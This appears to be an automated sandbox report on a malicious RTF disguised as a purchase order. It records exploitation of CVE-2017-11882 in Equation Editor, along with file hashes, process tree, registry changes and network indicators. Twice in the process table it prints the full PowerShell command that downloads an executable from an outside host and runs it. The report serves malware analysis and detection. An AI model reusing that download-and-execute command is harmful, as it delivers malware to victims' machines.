| File name: | NEW_PO_60587410_REVIEWED.doc |
| Full analysis: | https://app.any.run/tasks/60e3ab85-25e9-44a7-8956-b83c2cf6ad60 |
| Verdict: | Malicious activity |
| Analysis date: | September 11, 2019, 11:36:18 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | D14B5509B614E9F535B4202E2899D06F |
| SHA1: | 8171E9F8A8DAF7F5277AD59000EBB372BBCA0A0D |
| SHA256: | D6987B91D95C3D9D591C4110B600A9204A7767A0413F797D07A125B9077AC254 |
| SSDEEP: | 1536:3LZJgACAnR5+sFjVZSQYatM3ScB9Wj9e9wZWEssssssssszsssssssss1ssssss8:KW+ |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 3432)
Executes PowerShell scripts
- cmd.exe (PID: 460)
SUSPICIOUS
Starts CMD.EXE for commands execution
- EQNEDT32.EXE (PID: 3432)
Executed via COM
- EQNEDT32.EXE (PID: 3432)
- EQNEDT32.EXE (PID: 2868)
Creates files in the user directory
- powershell.exe (PID: 2580)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2756)
Creates files in the user directory
- WINWORD.EXE (PID: 2756)
Application was crashed
- EQNEDT32.EXE (PID: 3432)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
Total processes
40
Monitored processes
5
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 460 | cmd.exe /c PowerShell "try{$nGTZw=$env:temp+'\lVc.exe';Import-Module BitsTransfer;Start-BitsTransfer -Source 'https://knightshadows.com/bu/sssss_outputB765AFF.exe' -Destination $nGTZw;(New-Object -com Shell.Application).ShellExecute( $nGTZw);}catch{}" | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2580 | PowerShell "try{$nGTZw=$env:temp+'\lVc.exe';Import-Module BitsTransfer;Start-BitsTransfer -Source 'https://knightshadows.com/bu/sssss_outputB765AFF.exe' -Destination $nGTZw;(New-Object -com Shell.Application).ShellExecute( $nGTZw);}catch{}" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2756 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\NEW_PO_60587410_REVIEWED.doc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2868 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe | |||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 3432 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
Total events
1 399
Read events
914
Write events
475
Delete events
10
Modification events
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | y`! |
Value: 79602100C40A0000010000000000000000000000 | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1328218142 | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1328218256 | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1328218257 | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: C40A0000D0528C2B9568D50100000000 | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | "b! |
Value: 22622100C40A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | "b! |
Value: 22622100C40A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2756) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2756 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR98D9.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2580 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M6HQJVSGYSJ3V6Q3IL2O.temp | — | |
MD5:— | SHA256:— | |||
| 2580 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16a194.TMP | binary | |
MD5:— | SHA256:— | |||
| 2756 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$W_PO_60587410_REVIEWED.doc.rtf | pgc | |
MD5:— | SHA256:— | |||
| 2756 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2580 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 23.95.61.28:443 | knightshadows.com | ColoCrossing | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
knightshadows.com |
| suspicious |